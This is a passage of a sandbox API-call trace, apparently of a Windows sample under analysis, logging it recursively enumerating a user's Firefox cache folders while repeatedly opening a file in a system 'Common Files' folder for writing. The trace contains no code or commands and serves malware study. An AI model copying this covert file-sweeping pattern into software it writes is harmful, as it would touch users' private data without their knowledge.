Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.715] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.715] GetLastError () returned 0x12 [0131.715] AreFileApisANSI () returned 1 [0131.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.715] GetFileType (hFile=0x194) returned 0x1 [0131.715] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.716] AreFileApisANSI () returned 1 [0131.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.716] GetFileType (hFile=0x198) returned 0x1 [0131.716] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.716] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.716] GetLastError () returned 0x12 [0131.716] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.716] GetLastError () returned 0x12 [0131.716] AreFileApisANSI () returned 1 [0131.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.716] GetFileType (hFile=0x194) returned 0x1 [0131.717] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.717] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.717] GetLastError () returned 0x12 [0131.717] AreFileApisANSI () returned 1 [0131.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.717] GetFileType (hFile=0x194) returned 0x1 [0131.717] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.717] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.717] GetLastError () returned 0x12 [0131.717] AreFileApisANSI () returned 1 [0131.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.718] GetFileType (hFile=0x194) returned 0x1 [0131.718] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.718] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.718] GetLastError () returned 0x12 [0131.718] AreFileApisANSI () returned 1 [0131.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.718] GetFileType (hFile=0x194) returned 0x1 [0131.718] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.719] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.719] GetLastError () returned 0x12 [0131.719] AreFileApisANSI () returned 1 [0131.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.719] GetFileType (hFile=0x194) returned 0x1 [0131.719] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.719] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.719] GetLastError () returned 0x12 [0131.719] AreFileApisANSI () returned 1 [0131.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.719] GetFileType (hFile=0x194) returned 0x1 [0131.720] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.720] AreFileApisANSI () returned 1 [0131.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.720] GetFileType (hFile=0x198) returned 0x1 [0131.720] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.720] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.720] GetLastError () returned 0x12 [0131.720] AreFileApisANSI () returned 1 [0131.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.721] GetFileType (hFile=0x198) returned 0x1 [0131.763] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d58af0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.764] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.764] GetLastError () returned 0x12 [0131.764] AreFileApisANSI () returned 1 [0131.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.764] GetFileType (hFile=0x198) returned 0x1 [0131.764] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.764] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.764] GetLastError () returned 0x12 [0131.764] AreFileApisANSI () returned 1 [0131.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.765] GetFileType (hFile=0x198) returned 0x1 [0131.765] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.765] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.765] GetLastError () returned 0x12 [0131.765] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.765] GetLastError () returned 0x12 [0131.765] AreFileApisANSI () returned 1 [0131.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.765] GetFileType (hFile=0x194) returned 0x1 [0131.765] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.766] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.766] GetLastError () returned 0x12 [0131.766] AreFileApisANSI () returned 1 [0131.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.766] GetFileType (hFile=0x194) returned 0x1 [0131.766] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.766] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.766] GetLastError () returned 0x12 [0131.766] AreFileApisANSI () returned 1 [0131.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.767] GetFileType (hFile=0x194) returned 0x1 [0131.767] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.767] AreFileApisANSI () returned 1 [0131.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.767] GetFileType (hFile=0x198) returned 0x1 [0131.767] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.767] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.767] GetLastError () returned 0x12 [0131.768] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.768] GetLastError () returned 0x12 [0131.768] AreFileApisANSI () returned 1 [0131.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.768] GetFileType (hFile=0x194) returned 0x1 [0131.768] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.768] AreFileApisANSI () returned 1 [0131.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.768] GetFileType (hFile=0x198) returned 0x1 [0131.768] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, 